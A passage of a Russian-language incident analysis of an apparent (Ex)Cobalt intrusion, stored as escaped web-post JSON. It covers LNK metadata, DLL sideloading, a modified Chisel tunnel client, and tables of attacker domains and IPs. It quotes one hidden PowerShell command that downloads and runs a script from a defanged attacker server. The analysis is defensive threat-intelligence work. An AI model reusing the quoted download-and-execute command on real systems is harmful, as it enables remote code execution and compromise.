PowerShell-\u0441\u043a\u0440\u0438\u043f\u0442\u0430<\/em><\/figcaption><\/div>\n<\/figure>\n<h2>\u0410\u043d\u0430\u043b\u0438\u0437 \u0444\u0430\u0439\u043b\u043e\u0432 LNK \u0438 \u043f\u043e\u0438\u0441\u043a \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432<\/h2>\n<p>\u0424\u0430\u0439\u043b\u044b \u044f\u0440\u043b\u044b\u043a\u043e\u0432 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043a\u043b\u0430\u0434\u0435\u0437\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0442\u0430\u043a \u043a\u0430\u043a \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a MAC-\u0430\u0434\u0440\u0435\u0441 \u0434\u0435\u0432\u0430\u0439\u0441\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0444\u0430\u0439\u043b \u0431\u044b\u043b \u0441\u043e\u0437\u0434\u0430\u043d. \u041f\u043e \u0438\u0442\u043e\u0433\u0430\u043c \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0434\u0432\u0443\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 <strong>Document_Microsoft_Word.lnk<\/strong>,<strong> <\/strong>\u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0432 \u0445\u043e\u0434\u0435 \u043d\u0430\u0448\u0435\u0433\u043e \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u0431\u044b\u043b\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e, \u0447\u0442\u043e \u043e\u043d\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u044b \u043d\u0430 \u043e\u0434\u043d\u043e\u043c \u0438 \u0442\u043e\u043c \u0436\u0435 \u0445\u043e\u0441\u0442\u0435 \u0432 \u043e\u0434\u043d\u043e \u0438 \u0442\u043e \u0436\u0435 \u0432\u0440\u0435\u043c\u044f:<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td>\n<p align=\"left\">Drive type:   Fixed storage media (Hard drive)<\/p>\n<p align=\"left\">Serial   number: <strong>BAF595C8<\/strong><\/p>\n<p align=\"left\">\n<p align=\"left\">Machine   ID:\u00a0 <strong>laptop-fj0h336p<\/strong><\/p>\n<p align=\"left\">MAC Address: <strong>98:43:fa:4a:9d:be<\/strong><\/p>\n<p align=\"left\">MAC   Vendor:\u00a0 (Unknown vendor)<\/p>\n<p align=\"left\">Creation:\u00a0\u00a0\u00a0 <strong>2023-11-15 09:06:39<\/strong><\/p>\n<p align=\"left\">\u00a0<\/p>\n<p align=\"left\">Volume   Droid:\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0   35ed6538-2cde-46bc-a3a8-2414e4c1c6cd<\/p>\n<p align=\"left\">Volume Droid   Birth: 35ed6538-2cde-46bc-a3a8-2414e4c1c6cd<\/p>\n<p align=\"left\">File   Droid:\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0   496b729b-8396-11ee-9a39-9843fa4a9dbe<\/p>\n<p align=\"left\">File Droid   birth:\u00a0\u00a0   496b729b-8396-11ee-9a39-9843fa4a9dbe<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 <a href=\"https:\/\/www.virustotal.com\/gui\/search\/content%3A%22laptop-fj0h336p%22\/files\">\u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c<\/a> \u043c\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0444\u0430\u0439\u043b \u00abZapros_13-2-16442-upr_ot_25_08_2023.lnk\u00bb (MD5: 0da63b385b2b6650dd6acf3b511e5ac8) \u0441 \u0442\u0430\u043a\u0438\u043c \u0436\u0435 Machine ID (laptop-fj0h336p). \u041e\u043d \u0440\u0430\u043d\u0435\u0435 \u0431\u044b\u043b \u0437\u0430\u043c\u0435\u0447\u0435\u043d \u0438 <a href=\"https:\/\/www.ptsecurity.com\/ru-ru\/research\/pt-esc-threat-intelligence\/uzhe-ne-te-ataki-ex-cobalt-na-rossijskie-kompanii-v-2023-godu\/#id3\">\u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442<\/a> \u043a\u043e\u043b\u043b\u0435\u0433\u0430\u043c\u0438 \u0438\u0437 \u0418\u0411-\u043e\u0442\u0440\u0430\u0441\u043b\u0438 \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 (Ex)Cobalt. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0441\u0445\u0435\u043c\u0430 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 CobInt \u0432 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u043c\u043e\u043c \u043d\u0430\u043c\u0438 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0435 \u0431\u044b\u043b\u0430 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0430 \u043d\u0430\u0440\u044f\u0434\u0443 \u0441 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439. <\/p>\n<p>\u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0431\u044b\u043b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u0444\u0430\u0439\u043b \u00abCamScanner_24.11.2023_10.32.lnk\u00bb (MD5: 939cc38ef64a3e5148d889fa4423d464) \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0435\u0433\u043e \u0430\u0440\u0445\u0438\u0432 \u00ab<a href=\"https:\/\/www.virustotal.com\/gui\/file\/24de8eda46c83e5f713ed7e57fb21100907ce7f6ddac1135530ea6dd45afb02b\">DOC009_2.rar<\/a>\u00bb. \u0414\u0435\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043f\u043e \u0432\u0441\u0435\u043c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043d\u0430\u0439\u0434\u0435\u043d\u0430 \u0432 \u0441\u0435\u043a\u0446\u0438\u0438 IoC.<\/p>\n<h2>\u0414\u0440\u0443\u0433\u0438\u0435 \u0444\u0430\u0439\u043b\u044b, \u0443\u0447\u0430\u0441\u0442\u0432\u043e\u0432\u0430\u0432\u0448\u0438\u0435 \u0432 \u0430\u0442\u0430\u043a\u0435<\/h2>\n<p>\u0412 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0430\u0442\u0430\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b dism.exe (MD5: 472646bd684bcaac510be7f65f9a08ab), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0431\u044b\u043b\u0438 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0442\u0435\u0445\u043d\u0438\u043a\u0438 DLL Sideloading:<\/p>\n<ul>\n<li>\n<p>C:\\Intel\\dism.exe<\/p>\n<\/li>\n<li>\n<p>C:\\Intel\\Log\\dism.exe<\/p>\n<\/li>\n<li>\n<p>C:\\hp\\dism.exe<\/p>\n<\/li>\n<\/ul>\n<p>\u0422\u0430\u043a\u0436\u0435 \u0432 \u0430\u0442\u0430\u043a\u0435 \u0443\u0447\u0430\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0438 \u0444\u0430\u0439\u043b\u044b, \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0430\u043c \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043c\u0435\u043d\u0430 \u0438 SHA256 \u0445\u0435\u0448-\u0441\u0443\u043c\u043c\u044b, \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0435 \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432. \u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u043e\u0432 \u043e\u0442\u0441\u044b\u043b\u0430\u044e\u0442 \u043a \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u043c Kaspersky \u0438 \u044d\u0442\u0430 \u0442\u0435\u0445\u043d\u0438\u043a\u0430 \u043c\u0438\u043c\u0438\u043a\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0430\u043d\u0435\u0435 \u0443\u0436\u0435 \u0431\u044b\u043b\u0430 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u0430 \u0437\u0430 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u043e\u0439 (Ex)Cobalt:<\/p>\n<ul>\n<li>\n<p>C:\\hp\\bec.exe<\/p>\n<\/li>\n<li>\n<p>C:\\hp\\<strong>kas.exe<\/strong><\/p>\n<\/li>\n<li>\n<p>C:\\hp\\<strong>kis.exe<\/strong><\/p>\n<\/li>\n<li>\n<p>C:\\hp\\new.exe<\/p>\n<\/li>\n<li>\n<p>C:\\hp\\prt.exe<\/p>\n<\/li>\n<li>\n<p>C:\\hp\\prt2.exe<\/p>\n<\/li>\n<\/ul>\n<p>\u0421\u0440\u0435\u0434\u0438 \u044d\u0442\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0435\u0441\u0442\u044c \u043e\u0434\u0438\u043d, \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u2013 C:\\hp\\kasi.exe. \u041e\u043d \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u0443\u0442\u0438\u043b\u0438\u0442\u044b <a href=\"https:\/\/github.com\/jpillora\/chisel\">Chisel<\/a> \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f TCP\/UDP-\u0442\u0443\u043d\u043d\u0435\u043b\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 HTTP.<\/p>\n<p>\u041c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0433\u043b\u0430\u0432\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043a\u043e\u0441\u043d\u0443\u043b\u0438\u0441\u044c \u0435\u0435 \u0430\u0434\u0430\u043f\u0442\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0432 \u0430\u0442\u0430\u043a\u0435:<\/p>\n<ul>\n<li>\n<p> \u0431\u044b\u043b \u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043b\u0438\u0435\u043d\u0442, \u0443\u0431\u0440\u0430\u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0442\u0438\u043b\u0438\u0442\u044b;<\/p>\n<\/li>\n<li>\n<p>\u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0443\u0442\u0438\u043b\u0438\u0442\u044b \u043d\u0443\u0436\u043d\u043e \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u04212-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0432 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u0441\u0442\u0440\u043e\u0438\u043b\u0438 \u044d\u0442\u0438 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u0432 \u0441\u0430\u043c\u0443 \u0443\u0442\u0438\u043b\u0438\u0442\u0443;<\/p>\n<\/li>\n<li>\n<p>\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u044b \u0438\u043c\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0441\u0442\u0440\u043e\u043a\u0438 \u043d\u0435 \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u044b (C2 \u043d\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d \u0438 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435);<\/p>\n<\/li>\n<li>\n<p>\u0443\u0431\u0440\u0430\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f generatePidFile, \u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u0442\u044c \u043b\u0438\u0448\u043d\u0435\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435\u043c \u0444\u0430\u0439\u043b\u0430 \u0441 PID \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0443\u0442\u0438\u043b\u0438\u0442\u044b;<\/p>\n<\/li>\n<li>\n<p>\u0443\u0431\u0440\u0430\u043d\u044b \u0432\u0441\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u0441 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u043c\u0438 \u0432 \u043a\u043e\u0434\u0435.<\/p>\n<figure class=\"\">\n<div><figcaption><em>\u0412\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u00ab88.218.62[.]79:443\u00bb \u00abR:9050:socks\u00bb<\/em><\/figcaption><\/div>\n<\/figure>\n<\/li>\n<\/ul>\n<p>\u00a0<\/p>\n<p>\u0412 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0442\u0430\u043a\u0436\u0435 \u0431\u044b\u043b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u0441\u043a\u0440\u0438\u043f\u0442 1.bat, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 PowerShell-\u0441\u043a\u0440\u0438\u043f\u0442\u0430 004.ps1 \u0441 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 techcname[.]com.<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td>\n<p align=\"left\"><strong>C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe   -ep bypass -w hidden -c iex ((New-Object   Net.WebClient).DownloadString(&#8216;hxxps:\/\/techcname[.]com\/004.ps1&#8217;))<\/strong><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0445\u0435\u0448-\u0441\u0443\u043c\u043c\u044b \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 \u0445\u0435\u0448-\u0441\u0443\u043c\u043c\u0430\u043c\u0438 \u0440\u0430\u043d\u0435\u0435 \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u00ab\\Packagd\\XboxGamingOverlay.ps1\u00bb. \u041c\u044b \u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c, \u0447\u0442\u043e \u044d\u0442\u043e \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0434\u043b\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0433\u043e \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0432 \u0440\u0443\u0447\u043d\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435.<\/p>\n<h2>\u0410\u043d\u0430\u043b\u0438\u0437 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432<\/h2>\n<p>\u041c\u044b \u0438\u0437\u0443\u0447\u0438\u043b\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 \u0432 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0435:<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td data-colwidth=\"175\" width=\"175\">\n<p align=\"left\"><strong>Domain<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>IP<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>Reg. date<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>First seen<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"175\" width=\"175\">\n<p align=\"left\">netstaticpoints[.]com<\/p>\n<\/td>\n<td>\n<p align=\"left\">45.11.181[.]152<\/p>\n<\/td>\n<td>\n<p align=\"left\">2023-11-23<\/p>\n<\/td>\n<td>\n<p align=\"left\">2023-11-23<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"175\" width=\"175\">\n<p align=\"left\">techcname[.]com<\/p>\n<\/td>\n<td>\n<p align=\"left\">172.67.190[.]233<\/p>\n<p align=\"left\">104.21.84[.]96<\/p>\n<\/td>\n<td>\n<p align=\"left\">2023-11-23<\/p>\n<\/td>\n<td>\n<p align=\"left\">2023-11-23<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>\u041e\u0431\u0430 \u0434\u043e\u043c\u0435\u043d\u0430 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0441\u043f\u0443\u0441\u0442\u044f \u043d\u0435\u0434\u0435\u043b\u044e \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0445\u043e\u0434\u0430 <a href=\"https:\/\/www.ptsecurity.com\/ru-ru\/research\/pt-esc-threat-intelligence\/uzhe-ne-te-ataki-ex-cobalt-na-rossijskie-kompanii-v-2023-godu\/\">\u043e\u0442\u0447\u0435\u0442\u0430<\/a> \u043e \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0435, \u0447\u0442\u043e \u043c\u043e\u0433\u043b\u043e \u0441\u043f\u043e\u0434\u0432\u0438\u0433\u043d\u0443\u0442\u044c \u0435\u0435 \u043d\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0441\u0432\u043e\u0438\u0445 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432. <\/p>\n<p>\u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0431\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0435\u0449\u0435 \u0431\u044b\u043b\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u044b.<\/p>\n<p>\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u0434\u043e\u043c\u0435\u043d\u044b \u0431\u044b\u043b\u0438 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 Namecheap \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432 \u043e\u0434\u043d\u043e \u0438 \u0442\u043e \u0436\u0435 \u0432\u0440\u0435\u043c\u044f \u0441 \u0440\u0430\u0437\u043d\u0438\u0446\u0435\u0439 \u0432 4 \u0441\u0435\u043a\u0443\u043d\u0434\u044b. \u041c\u044b \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0434\u043e\u043c\u0435\u043d\u044b, \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 Namecheap \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0432 \u0442\u043e \u0436\u0435 \u0432\u0440\u0435\u043c\u044f, \u0438 \u043d\u0430\u0448\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445:<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td>\n<p align=\"left\"><strong>Domain<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>Registration date<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">techcname[.]com<\/p>\n<\/td>\n<td>\n<p align=\"left\">2023-11-23 12:18:22<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">netstaticpoints[.]com<\/p>\n<\/td>\n<td>\n<p align=\"left\">2023-11-23 12:18:26<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">swift-notice[.]store\u00a0\u00a0\u00a0\u00a0\u00a0 <\/p>\n<\/td>\n<td>\n<p align=\"left\">2023-11-23 12:18:32<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">swift-notice[.]online\u00a0\u00a0\u00a0\u00a0 <\/p>\n<\/td>\n<td>\n<p align=\"left\">2023-11-23 12:18:38<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">swift-notice[.]xyz\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/p>\n<\/td>\n<td>\n<p align=\"left\">2023-11-23 12:18:45<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">swift-notice[.]space<\/p>\n<\/td>\n<td>\n<p align=\"left\">2023-11-23 12:18:47<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">swift-notice[.]site\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/p>\n<\/td>\n<td>\n<p align=\"left\">2023-11-23 12:18:51<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>\u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u043e\u0442\u0447\u0435\u0442\u0430 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0434\u043e\u043c\u0435\u043d\u044b \u0431\u044b\u043b\u0438 \u043f\u0440\u0438\u043f\u0430\u0440\u043a\u043e\u0432\u0430\u043d\u044b, \u043d\u043e\u00a0\u043f\u043e\u043a\u0430\u00a0\u043d\u0435 \u0432\u0432\u0435\u0434\u0435\u043d\u044b \u0432 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e.\u00a0\u0418\u0445 \u043d\u0435\u043b\u044c\u0437\u044f <\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-364268","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/364268","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=364268"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/364268\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=364268"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=364268"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=364268"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}